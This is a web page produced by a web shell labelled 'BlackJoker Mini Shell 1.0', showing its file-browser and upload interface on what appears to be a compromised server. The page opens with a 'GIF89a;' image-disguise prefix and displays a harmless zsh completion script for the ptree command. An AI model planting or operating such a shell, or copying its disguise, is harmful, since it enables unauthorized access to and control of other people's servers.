GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/zsh/5.0.2/functions/
Upload File :
Current File : //usr/share/zsh/5.0.2/functions/_ptree

#compdef ptree

_ptree() {
	local curcontext="$curcontext" context state line ret=1
	typeset -A opt_args

	_arguments -s \
		'-a[all processes]' \
		'-c[show contract memberships]' \
		'-z[show processes in zone]:zone:($(zoneadm list))' \
		'*:pid or user:->pidoruser' && ret=0

	if [[ $ret -ne 0 ]]; then
		_alternative \
			'users:logged-in user:compadd ${$(who -q)\:#(users=*|\#)}' \
			'pids:pid:_pids'
		ret=$?
	fi

	return $ret
}

_ptree "$@"

./BlackJoker Mini Shell 1.0